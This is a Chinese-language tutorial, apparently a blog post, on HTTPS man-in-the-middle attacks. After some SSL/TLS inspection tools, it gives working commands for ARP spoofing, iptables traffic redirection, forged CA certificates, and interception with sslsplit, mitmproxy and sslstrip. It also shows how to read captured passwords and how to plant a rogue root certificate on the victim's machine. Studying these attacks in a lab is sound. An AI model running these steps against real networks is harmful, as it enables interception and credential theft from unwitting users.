欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip

程序员文章站 2022-05-01 09:46:01
...

介绍

SSL(Secure Sockets Layer 安全套接层),及其继任者传输层安全(Transport Layer Security,TLS)是为网络通信提供安全及数据完整性的一种安全协议。TLS与SSL在传输层对网络连接进行加密。

浏览器查看公钥证书

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
可以在浏览器看到受信任的厂商的根证书。

Openssl

识别目标服务器的SSL/TLS cipher suite

openssl s_client connect www.baidu.com:443

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
图中是证书链。

重要的命令参数

openssl genrsa -out ca.key 2048         生成证书私钥。
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt   利用私钥签名生成证书。

SSLScan

Openssl需要大量密码学知识,命令复杂,结果可读性差
SSLScan
自动识别SSL配置错误,过期协议,过时cipher suite和hash算法
默认会检查CRIME,headtbleed漏洞。
绿色表示安全,红色黄色需要注意
TLS支持的cipher suite
sslscan --tlsall www.taobao.com:443
分析证书详细信息
sslscan --show-certificate --no-ciphersuites www.taobao.com:443

Nmap

nmap --script=ssl-enum-ciphers.nse www.taobao.com

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
这里是Nmap和ssl相关的脚本。

QUALYS SSL LABS网站

这个网站,给他提供域名也会给你做ssl检查。
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip

SSL/TLS中间人攻击

原理

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
我们之前用到的buripsuit可以截断代理。截断代理的原理?
代理软件会伪造一张目标网站的证书。用这张伪造证书加密。代理软件然后以常规的访问目标网站。
如图:手机访问目标网站,经过路由的时候发给截断代理,代理软件会生成一张伪造的证书(用这张伪造的证书和手机通信)。截断代理用自己的私钥揭密出通信内容。然后代理软件经过客户端经过真实的请求发给真实的服务器。在服务器看来信息来自代理。代理和服务器之间是合法的证书。服务器返回数据给代理,代理再返回给手机。
注意:我们这里之所以能成功的加入代理环节是应为我们控制了手机让他设置了代理。真实的环境受害者不可能设置我们的代理。所以真实的环境我们需要结合其他手段,最著名就是ARP地址欺骗。让受害者以为我们的代理是网关。

SSLsplit

透明SSL/TLS中间人攻击工具
对客户端伪装成服务器,对服务器伪装成客户端
伪装服务器需要伪造证书。

openssl生成证书私钥,再生成私钥签名证书。

openssl genrsa -out ca.key 2048         生成证书私钥。
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt   利用私钥签名生成证书。

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
生成证书需要填写一些证书颁发的信息。

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
生成伪造服务器的根证书。

步骤

让中间人实现路由功能

1.启动路由功能

sysctl -w net.ipv4.ip_forward=1   开启电脑的路由功能(这是系统命令)。

2.定制端口转发规则
将接收受害者信息的端口接收的信息转发到SSLSpilt端口,SSLSpilt会用伪造的证书和受害者通信。
Iptables -t nat -L
查看当前。规则

iptables -t nat -F
清空当前规则,以便重新配置。

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
将80端口接收的信息(http信息)转发发给8080端口。
注意:设置前要查看80和443是否被占用,先解除占用再设置。如下图HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
将443端口(https信息)接收的信息转发发给8443端口

下面几条是转发其他协议的加密信息。
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S

Iptables -t nat -L
查看规则

ARP欺骗

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
上图是受害者机器192.168.1.1对应真确的MAC地址

arpspoof -i eth0 -t 192.168.1.118 -r 192.168.1.1
		-i:指定本地作为欺骗网卡的名称。
		-t:要欺骗的目标。
		-r:告诉受害者它的MAC指向哪里(我这里)。后面的IP是中间人。

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
执行成功后我的电脑会不停的发包告诉受害者他的MAC地址为我这个(黄色部分也就是中间人)。

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
受害者再次查看MAC发现自己的MAC变了。

启动SSLSplit侦听端口

mkdir -p test/logdir    生成的文件用来保存连接信息。
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0  8443 tcp 0.0.0.0 8080                 本机侦听8443和8080端口。

受害者访问淘宝。
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
受害者访问淘宝,会提醒证书问题。任然点进去并登录,账号和密码都输入123123。

攻击成功后如何利用

我们在test/logdir可以搜索passwd查看账号和密码相关信息。密码是加密的。因为淘宝等网站使用了不止一层加密。
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip

如何才能让受害者电脑不报证书错误

在受害者的浏览器安装我们的根证书。将我们生成的证书放到受害者的机器上双击,然后点安装。
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
目标浏览器可以查看信任的证书。

Mitmproxy

简介

ARP欺骗和前面一样。
用法思路和SSLsplit一样。
这个工具自带证书。
这个工具只能在8080端口侦听流量。(应该是bug,虽然有命令可以改)。所以iptables的规则要改

修改端口流量转发规则

iptables -t nat -F
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --toport 8080

启动工具

mitmproxy -T --host -w mitmproxy.log
mitmproxy.log是日志文件,手动创建。

受害者链接淘宝

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
会报错,因为这个工具使用的自己的一个默认证书(不是我们生成的证书)。

查看日志

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
这个日志文件很强大,里面的连接可以点进去。按tab切换栏。q退出。如下图

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip

SSLstrip

介绍

和前三种工具不同,它将客户端到中间人的流量编程明文。

arp欺骗同上

改变iptables规则同上

启动SSLstrip

sslstrip -l 8080

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip

受害者访问网站

HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
不会有证书错误,而且所有的https链接全变成了http链接。
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
查看日志文件。里面的密码都变成明文了。
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
HTTPS:HTTPS中间人攻击 SSLsplit,Mitmproxy,SSLstrip
淘宝使用了二次加密,所以还是密文。